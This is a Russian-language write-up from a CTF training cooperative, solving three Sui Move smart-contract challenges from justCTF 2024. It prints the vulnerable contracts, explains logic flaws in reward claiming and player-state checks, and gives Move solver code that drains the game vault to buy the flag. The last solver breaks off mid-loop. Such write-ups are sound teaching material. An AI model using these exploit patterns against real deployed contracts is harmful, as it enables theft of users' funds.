Рустам Гусейнов
председатель кооператива РАД КОП
Статья написана нашим товарищем Ратмиром Карабутом, который тренирует команду РАД КОП в рамках развивающейся CTF практики, специально для кооператива.
Ссылки на решения задач CTF-турниров
Среди нескольких задач, которые мне удалось решить на недавнем 24-часовом квалификационном раунде justCTF, три относились к категории блокчейна и в основе своей имели простые игры-контракты на Move, размещенные в тестнете Sui. Каждая представляла собой сервис, принимающий контракт-солвер и проверяющий условия решения при его взаимодействии с опубликованным контрактом-челленджем, чтобы при их выполнении отдать флаг.
Ни одна из них не выглядит особенно трудной, но, судя по количеству решений, немногие из участвующих команд взялись за категорию в целом, поэтому в сравнении с другими сходными по сложности флагами эти три задачи благодаря динамическому скорингу приносили вместе значительное количество очков. Первая по сложности и вовсе скорее напоминала микчек-разминку с тривиальным решением, вторая была более вовлеченной, но загадка в третьей показалась мне действительно забавной, что и вдохновило меня на эту статью. Стоит, тем не менее, описать все по порядку.
Рустам Гусейнов
председатель кооператива РАД КОП
Когда мы с товарищами по кооперативу впервые приехали в гости к Ратмиру в январе 2022 года меня поразила систематичность его мышления. Помню его лекцию по книге Дьердя Пойя «Как решать задачу», и демонстрация того, насколько мышление хакера похоже на мышление математика, решающего задачу. Очень рекомендую её к прочтению, потому что изложенная методология проста в освоении и здорово «ставит мозги на место», вот пара цитат:
«Глупо отвечать на вопрос, который вы не поняли. Невесело работать для цели, к которой вы не стремитесь. Такие глупые и невесёлые вещи часто случаются как в школе, так и вне её, однако учителю следует стараться предотвращать их в своём классе. Ученик должен понять задачу. Но не только понять; он должен хотеть решить её. Если ученику не хватает понимания задачи или интереса к ней, это не всегда его вина. Задача должна быть умело выбрана, она должна быть не слишком трудной и не слишком лёгкой, быть естественной и интересной, причём некоторое время нужно уделять для её естественной и интересной интерпретации».
«Путь от понимания постановки задачи до представления себе плана решения может быть долгим и извилистым. И действительно, главный шаг на пути к решению задачи состоит в том, чтобы выработать идею плана. Эта идея может появляться постепенно. Или она может возникнуть вдруг, в один миг, после, казалось бы, безуспешных попыток и продолжительных сомнений. Тогда мы назовем её «блестящей идеей».
Лучшее, что может сделать учитель для учащегося, состоит в том, чтобы путём неназойливой помощи подсказать ему блестящую идею».
[The Otter Scrolls] - easy (246 points, 33 solves)
Исходник контракта:
https://2024.justctf.team/challenges/11
module challenge::theotterscrolls {
// ---------------------------------------------------
// DEPENDENCIES
// ---------------------------------------------------
use sui::table::{Self, Table};
use std::string::{Self, String};
use std::debug;
// ---------------------------------------------------
// STRUCTS
// ---------------------------------------------------
public struct Spellbook has key {
id: UID,
casted: bool,
spells: Table<u8, vector<String>>
}
// ---------------------------------------------------
// FUNCTIONS
// ---------------------------------------------------
//The spell consists of five magic words, which have to be read in the correct order!
fun init(ctx: &mut TxContext) {
let mut all_words = table::new(ctx);
let fire = vector[
string::utf8(b"Blast"),
string::utf8(b"Inferno"),
string::utf8(b"Pyre"),
string::utf8(b"Fenix"),
string::utf8(b"Ember")
];
let wind = vector[
string::utf8(b"Zephyr"),
string::utf8(b"Swirl"),
string::utf8(b"Breeze"),
string::utf8(b"Gust"),
string::utf8(b"Sigil")
];
let water = vector[
string::utf8(b"Aquarius"),
string::utf8(b"Mistwalker"),
string::utf8(b"Waves"),
string::utf8(b"Call"),
string::utf8(b"Storm")
];
let earth = vector[
string::utf8(b"Tremor"),
string::utf8(b"Stoneheart"),
string::utf8(b"Grip"),
string::utf8(b"Granite"),
string::utf8(b"Mudslide")
];
let power = vector[
string::utf8(b"Alakazam"),
string::utf8(b"Hocus"),
string::utf8(b"Pocus"),
string::utf8(b"Wazzup"),
string::utf8(b"Wrath")
];
table::add(&mut all_words, 0, fire);
table::add(&mut all_words, 1, wind);
table::add(&mut all_words, 2, water);
table::add(&mut all_words, 3, earth);
table::add(&mut all_words, 4, power);
let spellbook = Spellbook {
id: object::new(ctx),
casted: false,
spells: all_words
};
transfer::share_object(spellbook);
}
public fun cast_spell(spell_sequence: vector<u64>, book: &mut Spellbook) {
let fire = table::remove(&mut book.spells, 0);
let wind = table::remove(&mut book.spells, 1);
let water = table::remove(&mut book.spells, 2);
let earth = table::remove(&mut book.spells, 3);
let power = table::remove(&mut book.spells, 4);
let fire_word_id = *vector::borrow(&spell_sequence, 0);
let wind_word_id = *vector::borrow(&spell_sequence, 1);
let water_word_id = *vector::borrow(&spell_sequence, 2);
let earth_word_id = *vector::borrow(&spell_sequence, 3);
let power_word_id = *vector::borrow(&spell_sequence, 4);
let fire_word = vector::borrow(&fire, fire_word_id);
let wind_word = vector::borrow(&wind, wind_word_id);
let water_word = vector::borrow(&water, water_word_id);
let earth_word = vector::borrow(&earth, earth_word_id);
let power_word = vector::borrow(&power, power_word_id);
if (fire_word == string::utf8(b"Inferno")) {
if (wind_word == string::utf8(b"Zephyr")) {
if (water_word == string::utf8(b"Call")) {
if (earth_word == string::utf8(b"Granite")) {
if (power_word == string::utf8(b"Wazzup")) {
book.casted = true;
}
}
}
}
}
}
public fun check_if_spell_casted(book: &Spellbook): bool {
let casted = book.casted;
assert!(casted == true, 1337);
casted
}
}
Общий смысл первой задачи, The Otter Scrolls, заключался в освоении процесса работы с предоставленным фреймворком - пробежав глазами контракт, понимаем, что нужно только отправить ему вектор с правильной последовательностью индексов, даже не обфусцированной в исходниках контракта, и вызвать после этого необходимые для получения флага функции. Для этого достаточно дописать в тело `solve()` в выданном `sources/framework-solve/solve/sources/solve.move`:
public fun solve(
_spellbook: &mut theotterscrolls::Spellbook,
_ctx: &mut TxContext
) {
let spell = vector[1u64,0,3,3,3];
theotterscrolls::cast_spell(spell, _spellbook);
theotterscrolls::check_if_spell_casted(_spellbook);
}
После этого нужно прописать в `sources/framework-solve/dependency/Move.toml` верный адрес челлендж-контракта (его можно получить, напрямую постучавшись к сервису по выданному в условии адресу с помощью `nc tos.nc.jsctf.pro 31337`):
```toml
...
[addresses]
admin = "0xfccc9a421bbb13c1a66a1aa98f0ad75029ede94857779c6915b44f94068b921e"
challenge = "542fe29e11d10314d3330e060c64f8fb9cd341981279432b03b2bd51cf5d489b"
```
Запустив после этого `HOST=tos.nc.jctf.pro ./runclient.sh` (и, конечно, установив [Sui] (https://docs.sui.io/guides/developer/getting-started/sui-install#install-sui-binaries-from-source)), получаем от сервиса первый флаг.
[Dark BrOTTERhood] - medium (275 points, 25 solves)
Исходник контракта:
https://2024.justctf.team/challenges/13
module challenge::Otter {
// ---------------------------------------------------
// DEPENDENCIES
// ---------------------------------------------------
use sui::coin::{Self, Coin};
use sui::balance::{Self, Supply};
use sui::url;
use sui::random::{Self, Random};
use sui::table::{Self, Table};
// ---------------------------------------------------
// CONST
// ---------------------------------------------------
const NEW: u64 = 1;
const WON: u64 = 2;
const FINISHED: u64 = 3;
const WRONG_AMOUNT: u64 = 1337;
const BETTER_BRING_A_KNIFE_TO_A_GUNFIGHT: u64 = 1338;
const WRONG_STATE: u64 = 1339;
const ALREADY_REGISTERED: u64 = 1340;
const NOT_REGISTERED: u64 = 1341;
const TOO_MUCH_MONSTERS: u64 = 1342;
const NOT_SOLVED: u64 = 1343;
const QUEST_LIMIT: u64 = 25;
// ---------------------------------------------------
// STRUCTS
// ---------------------------------------------------
public struct OTTER has drop {}
public struct OsecSuply<phantom CoinType> has key {
id: UID,
supply: Supply<CoinType>
}
public struct Vault<phantom CoinType> has key {
id: UID,
cash: Coin<CoinType>
}
public struct Monster has store {
fight_status: u64,
reward: u8,
power: u8
}
public struct QuestBoard has key, store {
id: UID,
quests: vector<Monster>,
players: Table<address, bool>
}
public struct Flag has key, store {
id: UID,
user: address,
flag: bool
}
public struct Player has key, store {
id: UID,
user: address,
coins: Coin<OTTER>,
power: u8
}
// ---------------------------------------------------
// MINT CASH
// ---------------------------------------------------
fun init(witness: OTTER, ctx: &mut TxContext) {
let (mut treasury, metadata) = coin::create_currency(
witness, 9, b"OSEC", b"Osec", b"Otter ca$h", option::some(url::new_unsafe_from_bytes(b"https://osec.io/")), ctx
);
transfer::public_freeze_object(metadata);
let pool_liquidity = coin::mint<OTTER>(&mut treasury, 50000, ctx);
let vault = Vault<OTTER> {
id: object::new(ctx),
cash: pool_liquidity
};
let supply = coin::treasury_into_supply(treasury);
let osec_supply = OsecSuply<OTTER> {
id: object::new(ctx),
supply
};
transfer::transfer(osec_supply, tx_context::sender(ctx));
transfer::share_object(QuestBoard {
id: object::new(ctx),
quests: vector::empty(),
players: table::new(ctx)
});
transfer::share_object(vault);
}
public fun mint(sup: &mut OsecSuply<OTTER>, amount: u64, ctx: &mut TxContext): Coin<OTTER> {
let osecBalance = balance::increase_supply(&mut sup.supply, amount);
coin::from_balance(osecBalance, ctx)
}
public entry fun mint_to(sup: &mut OsecSuply<OTTER>, amount: u64, to: address, ctx: &mut TxContext) {
let osec = mint(sup, amount, ctx);
transfer::public_transfer(osec, to);
}
public fun burn(sup: &mut OsecSuply<OTTER>, c: Coin<OTTER>): u64 {
balance::decrease_supply(&mut sup.supply, coin::into_balance(c))
}
// ---------------------------------------------------
// REGISTER
// ---------------------------------------------------
public fun register(sup: &mut OsecSuply<OTTER>, board: &mut QuestBoard, player: address, ctx: &mut TxContext) {
assert!(!table::contains(&board.players, player), ALREADY_REGISTERED);
table::add(&mut board.players, player, false);
transfer::transfer(Player {
id: object::new(ctx),
user: tx_context::sender(ctx),
coins: mint(sup, 137, ctx),
power: 10
}, player);
}
// ---------------------------------------------------
// SHOP
// ---------------------------------------------------
#[allow(lint(self_transfer))]
public fun buy_flag(vault: &mut Vault<OTTER>, player: &mut Player, ctx: &mut TxContext): Flag {
assert!(coin::value(&player.coins) >= 1337, WRONG_AMOUNT);
let coins = coin::split(&mut player.coins, 1337, ctx);
coin::join(&mut vault.cash, coins);
Flag {
id: object::new(ctx),
user: tx_context::sender(ctx),
flag: true
}
}
public fun buy_sword(vault: &mut Vault<OTTER>, player: &mut Player, ctx: &mut TxContext) {
assert!(coin::value(&player.coins) >= 137, WRONG_AMOUNT);
let coins = coin::split(&mut player.coins, 137, ctx);
coin::join(&mut vault.cash, coins);
player.power = player.power + 100;
}
// ---------------------------------------------------
// ADVENTURE TIME
// ---------------------------------------------------
#[allow(lint(public_random))]
public fun find_a_monster(board: &mut QuestBoard, r: &Random, ctx: &mut TxContext) {
assert!(vector::length(&board.quests) <= QUEST_LIMIT, TOO_MUCH_MONSTERS);
let mut generator = random::new_generator(r, ctx);
let quest = Monster {
fight_status: NEW,
reward: random::generate_u8_in_range(&mut generator, 13, 37),
power: random::generate_u8_in_range(&mut generator, 13, 73)
};
vector::push_back(&mut board.quests, quest);
}
public fun fight_monster(board: &mut QuestBoard, player: &mut Player, quest_id: u64) {
let quest = vector::borrow_mut(&mut board.quests, quest_id);
assert!(quest.fight_status == NEW, WRONG_STATE);
assert!(player.power > quest.power, BETTER_BRING_A_KNIFE_TO_A_GUNFIGHT);
player.power = 10; // sword breaks after fighting the monster :c
quest.fight_status = WON;
}
public fun return_home(board: &mut QuestBoard, quest_id: u64) {
let quest_to_finish = vector::borrow_mut(&mut board.quests, quest_id);
assert!(quest_to_finish.fight_status == WON, WRONG_STATE);
quest_to_finish.fight_status = FINISHED;
}
#[allow(lint(self_transfer))]
public fun get_the_reward(
vault: &mut Vault<OTTER>,
board: &mut QuestBoard,
player: &mut Player,
quest_id: u64,
ctx: &mut TxContext,
) {
let quest_to_claim = vector::borrow_mut(&mut board.quests, quest_id);
assert!(quest_to_claim.fight_status == FINISHED, WRONG_STATE);
let monster = vector::pop_back(&mut board.quests);
let Monster {
fight_status: _,
reward: reward,
power: _
} = monster;
let coins = coin::split(&mut vault.cash, (reward as u64), ctx);
coin::join(&mut player.coins, coins);
}
// ---------------------------------------------------
// PROVE SOLUTION
// ---------------------------------------------------
public fun prove(board: &mut QuestBoard, flag: Flag) {
let Flag {
id,
user,
flag
} = flag;
object::delete(id);
assert!(table::contains(&board.players, user), NOT_REGISTERED);
assert!(flag, NOT_SOLVED);
*table::borrow_mut(&mut board.players, user) = true;
}
// ---------------------------------------------------
// CHECK WINNER
// ---------------------------------------------------
public fun check_winner(board: &QuestBoard, player: address) {
assert!(*table::borrow(&board.players, player) == true, NOT_SOLVED);
}
}
Анализ
Пробежав глазами второй контракт, видим, что основная интересующая нас игровая логика находится после стандартной обвязки в функциях секций SHOP и ADVENTURE TIME. При регистрации игрок получает 137 монет и 10 силы; вызвав функцию `find_a_monster()`, мы можем добавить в вектор `board.quests` "монстра" со случайными значениями силы (от 13 до 37) и награды (от 13 до 73), а также состоянием `NEW`. `fight_monster()` позволяет нам победить монстра из вектора квестов, если он находится в состоянии `NEW`, а его сила меньше силы игрока, сбрасывает в этом случае силу игрока к 10 и меняет состояние квеста на `WON`.
Чтобы получить необходимую для победы силу, придется вызвать `buy_sword()` - "меч" увеличит силу на 100 (что гарантирует выполнение условия из `fight_monster()`), но будет стоить игроку 137 монет - то есть все полученные изначально деньги. Так как максимальная награда за монстра - всего 73 монеты, первый же "бой" сделает продолжение игры по ее предполагаемой логике невозможным - по функции `buy_flag` ясно, что для покупки флага нам потребуется 1337 монет.
Оставшиеся игровые функции - `return_home()`, смысл которой заключается в простом переключении состояния выбранного квеста с `WON` на `FINISHED`, и `get_the_reward()`, которая проверяет состояние `FINISHED` и выдает игроку награду. К ней-то нам и следует присмотреться внимательнее:
#[allow(lint(self_transfer))]
public fun get_the_reward(
vault: &mut Vault<OTTER>,
board: &mut QuestBoard,
player: &mut Player,
quest_id: u64,
ctx: &mut TxContext,
) {
let quest_to_claim = vector::borrow_mut(&mut board.quests, quest_id);
assert!(quest_to_claim.fight_status == FINISHED, WRONG_STATE);
let monster = vector::pop_back(&mut board.quests);
let Monster {
fight_status: _,
reward: reward,
power: _
} = monster;
let coins = coin::split(&mut vault.cash, (reward as u64), ctx);
coin::join(&mut player.coins, coins);
}
Ключевая деталь, бросающаяся в глаза - несоответствие _проверяемого_ квеста квесту, _убираемому_ из вектора; хотя нам позволено указать индекс квеста, за который мы хотим получить награду, и именно его состояние необходимо установить в `FINISHED`, из вектора убирается не он сам, а последний элемент вектора - через `vector::pop_back()` ([Vector - The Move Book](https://move-language.github.io/move/vector.html#operations))!
Эксплуатация
Выходит, что, так как ничто не мешает нам наполнить вектор произвольным (до `QUEST_LIMIT` - 25) количеством квестов, мы можем потребовать у игры двух монстров, победить первого, купив меч - что позволяют начальные условия - перевести тем самым состояние квеста 0 в `WON`, затем в `FINISHED` при помощи `return_home()`, затем, указав его индекс в `get_the_reward()`, получить награду за _второго_ - последнего в векторе - монстра, оставив при этом первого в состоянии `FINISHED`. Вызывая после этого `find_a_monster()` и `get_the_reward()` необходимое - неограниченное - количество раз, мы можем гарантированно заработать на флаг примерно за сотню повторений.
Допишем решение в `solve()`:
public fun solve(
_vault: &mut Otter::Vault<OTTER>,
_board: &mut Otter::QuestBoard,
_player: &mut Otter::Player,
_r: &Random,
_ctx: &mut TxContext,
) {
Otter::buy_sword(_vault, _player, _ctx);
Otter::find_a_monster(_board, _r, _ctx);
Otter::fight_monster(_board, _player, 0);
Otter::return_home(_board, 0);
let mut i = 0;
loop {
Otter::find_a_monster(_board, _r, _ctx);
Otter::get_the_reward(_vault, _board, _player, 0, _ctx);
i = i + 1;
if (i == 100) break;
};
let flag = Otter::buy_flag(_vault, _player, _ctx);
Otter::prove(_board, flag);
}
После чего, аналогично первой задаче, получаем и прописываем в `sources/framework-solve/dependency/Move.toml` адрес контракта и, запустив клиент, получаем второй флаг.
[World of Ottercraft] - hard (271 points, 26 solves)
Исходник контакта:
https://2024.justctf.team/challenges/12
module challenge::Otter {
// ---------------------------------------------------
// DEPENDENCIES
// ---------------------------------------------------
use sui::coin::{Self, Coin};
use sui::balance::{Self, Balance, Supply};
use sui::table::{Self, Table};
use sui::url;
// ---------------------------------------------------
// CONST
// ---------------------------------------------------
// STATUSES
const PREPARE_FOR_TROUBLE: u64 = 1;
const ON_ADVENTURE: u64 = 2;
const RESTING: u64 = 3;
const SHOPPING: u64 = 4;
const FINISHED: u64 = 5;
// ERROR CODES
const WRONG_AMOUNT: u64 = 1337;
const BETTER_GET_EQUIPPED: u64 = 1338;
const WRONG_PLAYER_STATE: u64 = 1339;
const ALREADY_REGISTERED: u64 = 1340;
const TOO_MANY_MONSTERS: u64 = 1341;
const BUY_SOMETHING: u64 = 1342;
const NO_SUCH_PLAYER: u64 = 1343;
const NOT_SOLVED: u64 = 1344;
// LIMITS
const QUEST_LIMIT: u64 = 25;
// ---------------------------------------------------
// STRUCTS
// ---------------------------------------------------
public struct OTTER has drop {}
public struct OsecSuply<phantom CoinType> has key {
id: UID,
supply: Supply<CoinType>
}
public struct Vault<phantom CoinType> has key {
id: UID,
cash: Coin<CoinType>
}
public struct Monster has store {
reward: u64,
power: u64
}
public struct QuestBoard has key, store {
id: UID,
quests: vector<Monster>,
players: Table<address, bool> //<player_address, win_status>
}
public struct Player has key, store {
id: UID,
user: address,
power: u64,
status: u64,
quest_index: u64,
wallet: Balance<OTTER>
}
public struct TawernTicket {
total: u64,
flag_bought: bool
}
// ---------------------------------------------------
// MINT CASH
// ---------------------------------------------------
fun init(witness: OTTER, ctx: &mut TxContext) {
let (mut treasury, metadata) = coin::create_currency(witness, 9, b"OSEC", b"Osec", b"Otter ca$h", option::some(url::new_unsafe_from_bytes(b"https://osec.io/")), ctx);
transfer::public_freeze_object(metadata);
let pool_liquidity = coin::mint<OTTER>(&mut treasury, 50000, ctx);
let vault = Vault<OTTER> {
id: object::new(ctx),
cash: pool_liquidity
};
let supply = coin::treasury_into_supply(treasury);
let osec_supply = OsecSuply {
id: object::new(ctx),
supply
};
transfer::transfer(osec_supply, tx_context::sender(ctx));
transfer::share_object(QuestBoard {
id: object::new(ctx),
quests: vector::empty(),
players: table::new(ctx)
});
transfer::share_object(vault);
}
public fun mint(sup: &mut OsecSuply<OTTER>, amount: u64, ctx: &mut TxContext): Coin<OTTER> {
let osecBalance = balance::increase_supply(&mut sup.supply, amount);
coin::from_balance(osecBalance, ctx)
}
public entry fun mint_to(sup: &mut OsecSuply<OTTER>, amount: u64, to: address, ctx: &mut TxContext) {
let osec = mint(sup, amount, ctx);
transfer::public_transfer(osec, to);
}
public fun burn(sup: &mut OsecSuply<OTTER>, c: Coin<OTTER>): u64 {
balance::decrease_supply(&mut sup.supply, coin::into_balance(c))
}
// ---------------------------------------------------
// REGISTER - ADMIN FUNCTION
// ---------------------------------------------------
public fun register(_: &mut OsecSuply<OTTER>, board: &mut QuestBoard, vault: &mut Vault<OTTER>, player: address, ctx: &mut TxContext) {
assert!(!table::contains(&board.players, player), ALREADY_REGISTERED);
let new_cash = coin::into_balance(coin::split(&mut vault.cash, 250, ctx));
let new_player_obj = Player {
id: object::new(ctx),
user: player,
power: 10,
status: RESTING,
quest_index: 0,
wallet: new_cash
};
table::add(&mut board.players, player, false);
transfer::transfer(new_player_obj, player);
}
public fun check_winner(board: &QuestBoard, player: address) {
assert!(table::contains(&board.players, player), NO_SUCH_PLAYER);
assert!(table::borrow(&board.players, player) == true, NOT_SOLVED);
}
// ---------------------------------------------------
// TAVERN
// ---------------------------------------------------
public fun enter_tavern(player: &mut Player): TawernTicket {
assert!(player.status == RESTING, WRONG_PLAYER_STATE);
player.status = SHOPPING;
TawernTicket{ total: 0, flag_bought: false }
}
public fun buy_flag(ticket: &mut TawernTicket, player: &mut Player) {
assert!(player.status == SHOPPING, WRONG_PLAYER_STATE);
ticket.total = ticket.total + 537;
ticket.flag_bought = true;
}
public fun buy_sword(player: &mut Player, ticket: &mut TawernTicket) {
assert!(player.status == SHOPPING, WRONG_PLAYER_STATE);
player.power = player.power + 213;
ticket.total = ticket.total + 140;
}
public fun buy_shield(player: &mut Player, ticket: &mut TawernTicket) {
assert!(player.status == SHOPPING, WRONG_PLAYER_STATE);
player.power = player.power + 7;
ticket.total = ticket.total + 20;
}
public fun buy_power_of_friendship(player: &mut Player, ticket: &mut TawernTicket) {
assert!(player.status == SHOPPING, WRONG_PLAYER_STATE);
player.power = player.power + 9000; //it's over 9000!
ticket.total = ticket.total + 190;
}
public fun checkout(ticket: TawernTicket, player: &mut Player, ctx: &mut TxContext, vault: &mut Vault<OTTER>, board: &mut QuestBoard) {
let TawernTicket{ total, flag_bought } = ticket;
assert!(total > 0, BUY_SOMETHING);
assert!(balance::value<OTTER>(&player.wallet) >= total, WRONG_AMOUNT);
let balance = balance::split(&mut player.wallet, total);
let coins = coin::from_balance(balance, ctx);
coin::join(&mut vault.cash, coins);
if (flag_bought == true) {
let flag = table::borrow_mut(&mut board.players, tx_context::sender(ctx));
*flag = true;
std::debug::print(&std::string::utf8(b"$$$$$$$$$$$$$$$$$$$$$$$$$ FLAG BOUGHT $$$$$$$$$$$$$$$$$$$$$$$$$")); //debug
};
player.status = RESTING;
}
// ---------------------------------------------------
// ADVENTURE TIME
// ---------------------------------------------------
public fun find_a_monster(board: &mut QuestBoard, player: &mut Player) {
assert!(player.status != SHOPPING && player.status != FINISHED && player.status != ON_ADVENTURE, WRONG_PLAYER_STATE);
assert!(vector::length(&board.quests) <= QUEST_LIMIT, TOO_MANY_MONSTERS);
let quest = if (vector::length(&board.quests) % 3 == 0) {
Monster {
reward: 100,
power: 73
}
} else if (vector::length(&board.quests) % 3 == 1) {
Monster {
reward: 62,
power: 81
}
} else {
Monster {
reward: 79,
power: 94
}
};
vector::push_back(&mut board.quests, quest);
player.status = PREPARE_FOR_TROUBLE;
}
public fun bring_it_on(board: &mut QuestBoard, player: &mut Player, quest_id: u64) {
assert!(player.status != SHOPPING && player.status != FINISHED && player.status != RESTING && player.status != ON_ADVENTURE, WRONG_PLAYER_STATE);
let monster = vector::borrow_mut(&mut board.quests, quest_id);
assert!(player.power > monster.power, BETTER_GET_EQUIPPED);
player.status = ON_ADVENTURE;
player.power = 10; //equipment breaks after fighting the monster, and friends go to party :c
monster.power = 0; //you win! wow!
player.quest_index = quest_id;
}
public fun return_home(board: &mut QuestBoard, player: &mut Player) {
assert!(player.status != SHOPPING && player.status != FINISHED && player.status != RESTING && player.status != PREPARE_FOR_TROUBLE, WRONG_PLAYER_STATE);
let quest_to_finish = vector::borrow(&board.quests, player.quest_index);
assert!(quest_to_finish.power == 0, WRONG_AMOUNT);
player.status = FINISHED;
}
public fun get_the_reward(vault: &mut Vault<OTTER>, board: &mut QuestBoard, player: &mut Player, ctx: &mut TxContext) {
assert!(player.status != RESTING && player.status != PREPARE_FOR_TROUBLE && player.status != ON_ADVENTURE, WRONG_PLAYER_STATE);
let monster = vector::remove(&mut board.quests, player.quest_index);
let Monster {
reward: reward,
power: _
} = monster;
let coins = coin::split(&mut vault.cash, reward, ctx);
let balance = coin::into_balance(coins);
balance::join(&mut player.wallet, balance);
player.status = RESTING;
}
}
Анализ
Игра в третьем контракте похожа на предыдущую, но устроена очевидно сложнее. Теперь отслеживается состояние самого игрока, а не монстра, и состояний пять - `PREPARE_FOR_TROUBLE`, `ON_ADVENTURE`, `RESTING`, `SHOPPING` и `FINISHED`. Далее, теперь для покупки силы (и флага) придется заходить в "таверну", вызвав функцию `enter_tavern()` - это переключит состояние игрока из необходимого (и начального) `RESTING` в `SHOPPING`, что проверяется всеми функциями покупки, и вернет переменную типа `TawernTicket`, которая по правилам Move должна быть потреблена внутри вызывающего контракта - это можно сделать только при помощи функции `checkout()`. Таким образом, игрок набирает "корзину" покупок и выходит из "таверны", снова переводя состояние в `RESTING`. Из `register()` ясно, что на этот раз мы начинаем с 250 монетами.
Функций покупки теперь четыре - `buy_flag()` устанавливает соответствующий флаг `ticket` (который позже проверяется в `checkout()`, приводя к победе) и увеличивает сумму на 537 монет, `buy_sword()`, `buy_shield()` и `buy_power_of_friendship()` же увеличивают силу игрока на 213, 7 и 9000 за 140, 20 и 190 монет соответственно.
Здесь можно сразу заметить, что **сила при покупке увеличивается моментально**, не требуя проверки на то, что необходимая для покупки сумма действительно имеется на счету игрока - такая проверка происходит только в самом `checkout()`, как и проверка на то, что общая стоимость выше 0 - не купив чего-то, выйти из таверны нельзя.
Кроме того, интересно, что, в отличие от функций покупки, `checkout()` вовсе не проверяет состояние игрока - очевидно, **расплатиться можно, и не находясь в "таверне"**. Запомним это на будущее.
Секция ADVENTURE TIME по-прежнему состоит из четырех функций - `find_a_monster()`, `bring_it_on()`, `return_home()` и `get_the_reward()`. Разберемся поподробнее:
public fun find_a_monster(board: &mut QuestBoard, player: &mut Player) {
assert!(player.status != SHOPPING && player.status != FINISHED && player.status != ON_ADVENTURE, WRONG_PLAYER_STATE);
assert!(vector::length(&board.quests) <= QUEST_LIMIT, TOO_MANY_MONSTERS);
let quest = if (vector::length(&board.quests) % 3 == 0) {
Monster {
reward: 100,
power: 73
}
} else if (vector::length(&board.quests) % 3 == 1) {
Monster {
reward: 62,
power: 81
}
} else {
Monster {
reward: 79,
power: 94
}
};
vector::push_back(&mut board.quests, quest);
player.status = PREPARE_FOR_TROUBLE;
}
`find_a_monster()` на этот раз не наделяет монстров случайными параметрами, а раздает награду и силу в зависимости от того, сколько монстров уже есть в векторе. Состояние переключается в `PREPARE_FOR_TROUBLE`, но интересно, что проверка в функции не требует определенного состояния, а не пускает только игроков в состояниях `SHOPPING`, `FINISHED` и `ON_ADVENTURE`. Деталь на первый взгляд кажется невинной, но все же запомним - **вызывать `find_a_monster()` можно неограниченное количество раз подряд**.
public fun bring_it_on(board: &mut QuestBoard, player: &mut Player, quest_id: u64) {
assert!(player.status != SHOPPING && player.status != FINISHED && player.status != RESTING && player.status != ON_ADVENTURE, WRONG_PLAYER_STATE);
let monster = vector::borrow_mut(&mut board.quests, quest_id);
assert!(player.power > monster.power, BETTER_GET_EQUIPPED);
player.status = ON_ADVENTURE;
player.power = 10; //equipment breaks after fighting the monster, and friends go to party :c
monster.power = 0; //you win! wow!
player.quest_index = quest_id;
}
`bring_it_on()` так же проверяет состояние игрока на _несоответствие_, но на этот раз вариантов, кроме `BRING_IT_ON`, не остается - поэтому функция может быть вызвана только после `find_a_monster()`, что выглядит корректно. Как и в Dark BrOTTERhood, игрок может выбрать произвольного монстра из вектора, чтобы помериться с ним силой. В случае победы состояние переходит в `ON_ADVENTURE`, сила игрока сбрасывается в 10, сила монстра устанавливается в 0, `player.quest_index` (изначально 0) - в индекс монстра.
public fun return_home(board: &mut QuestBoard, player: &mut Player) {
assert!(player.status != SHOPPING && player.status != FINISHED && player.status != RESTING && player.status != PREPARE_FOR_TROUBLE, WRONG_PLAYER_STATE);
let quest_to_finish = vector::borrow(&board.quests, player.quest_index);
assert!(quest_to_finish.power == 0, WRONG_AMOUNT);
player.status = FINISHED;
}
`return_home()` опять же корректно, хотя и неуклюже, проверяет состояние и может быть вызвана, видимо, только после `bring_it_on()` - статус переключается из `ON_ADVENTURE` в `FINISHED`, если сила монстра по индексу в `player.quest_index` равна нулю.
public fun get_the_reward(vault: &mut Vault<OTTER>, board: &mut QuestBoard, player: &mut Player, ctx: &mut TxContext) {
assert!(player.status != RESTING && player.status != PREPARE_FOR_TROUBLE && player.status != ON_ADVENTURE, WRONG_PLAYER_STATE);
let monster = vector::remove(&mut board.quests, player.quest_index);
let Monster {
reward: reward,
power: _
} = monster;
let coins = coin::split(&mut vault.cash, reward, ctx);
let balance = coin::into_balance(coins);
balance::join(&mut player.wallet, balance);
player.status = RESTING;
}
Наконец, `get_the_reward()` снова недопроверяет состояние - видим, что кроме подразумеваемого `FINISHED` **получить награду за квест можно не выходя из таверны**, то есть в статусе `SHOPPING`. В отличие от Dark BrOTTERhood, впрочем, похоже, что побежденный монстр корректно убирается из вектора - во всяком случае, используется `player.quest_index`, и произвольно указать индекс нельзя. Игрок же получает монеты и переходит в изначальный `RESTING`.
Эксплуатация
Для начала подведем итоги найденным багам:
1. сила игрока увеличивается в таверне до проверки на платежеспособность
2. расплатиться по чеку таверны можно откуда угодно, то есть из любого состояния
3. искать монстров, то есть добавлять их в список, можно много раз подряд (возможно, фича?)
4. получить награду за побежденного монстра (и вернуться на заслуженный отдых) можно прямо из таверны
Покрутив эти четыре пункта в голове так и эдак, осознаем, во-первых - **награду за монстра, полученную в таверне, можно тут же использовать для покупки**! В самом деле, если награда получается из таверны с переключением статуса в `RESTING`, а `checkout()` статус не проверяет вовсе, получить `TawernTicket` и расплатиться по нему можно, на деле увеличив, а не уменьшив, сумму на счету - без покупки обойтись нельзя, но для выполнения этого условия мы можем покупать дешевые щиты, которые полученная награда всегда будет перевешивать. Так как `get_the_reward()` использует неизменный `player.quest_index`, а также - во-вторых - **не выполняет никаких проверок на состояние самого квеста** (ведь сила монстра учитывается только в `bring_it_on()` и `return_home()`) - то нам было бы достаточно выстроить очередь из монстров на заклание, послушно сдвигающуюся к нашему (предпочтительно нулевому) индексу при каждом новом вызове `get_the_reward()`.
Но - в-третьих - **благодаря пункту 3 мы уже знаем, как устроить эту очередь**! Впрочем, как и в Dark BrOTTERhood, нам придется замарать руки и честно справиться с одним монстром, чтобы правильно обойти состояния в первый раз - к сожалению, мы никак не можем использовать для этого первый баг, поскольку `TawerTicket` должен быть использован корректно. Но этого и не нужно - начального капитала вполне хватит для первого сражения. Достаточно только купить меч и набрать полный контингент обманутых монстров при первом проходе через `find_a_monster()`:
public fun solve(
_board: &mut Otter::QuestBoard,
_vault: &mut Otter::Vault<OTTER>,
_player: &mut Otter::Player,
_ctx: &mut TxContext
) {
let mut ticket = Otter::enter_tavern(_player);
Otter::buy_sword(_player, &mut ticket);
Otter::checkout(ticket, _player, _ctx, _vault, _board);
let mut i = 0;
loop {
Otter::find_a_monster(_board, _player);
i = i + 1;
if (i == 25) break;
};
Otter::bring_it_on(_board, _player, 0);
Otter::return_home(_board, _player);
Otter::get_the_reward(_vault, _board, _player, _ctx);
i = 0;
loop {
let mut ticket = Otter::enter_tavern(_player);
